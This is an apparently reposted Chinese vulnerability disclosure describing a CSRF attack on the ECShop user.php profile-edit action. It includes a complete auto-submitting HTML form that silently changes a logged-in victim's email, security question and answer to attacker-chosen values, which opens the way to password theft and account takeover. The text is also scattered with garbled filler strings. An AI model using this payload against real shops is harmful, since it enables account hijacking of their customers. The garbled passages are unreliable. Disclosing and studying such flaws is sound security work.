ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
& C2 r3 q. {% F0 Z+ a; Kecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现

( E$ f% s  f# }. }$ |" @5 SDemo For:http://www.wooyun.org/bug.php?action=view&id=395
+ W2 r/ w# D: X, m5 ?4 x
8 ?4 z% f! t0 ?: M  a详细说明：
利用csrf和xss可以突破官方所说的“障碍”
1 s: b( L- Y# @xss版本已经有人说明
这里给出csrf版本
" }% n3 i# @! G+ y$ x$ t
& V; e- G, }$ T! A6 u4 y( J* l3 C! I7 w( z漏洞证明：
<html>
<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
1 U+ D3 H2 A5 Y  ]: M</body>
<script>
8 }) D" c) b( l5 _document.forms[0].submit();
4 j+ \9 N- D; b  }: Z</script>
</html>
0 ~) b1 _' G- ]- b+ b/ v构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失

4 _+ w5 O: ~: r2 G# k- _* P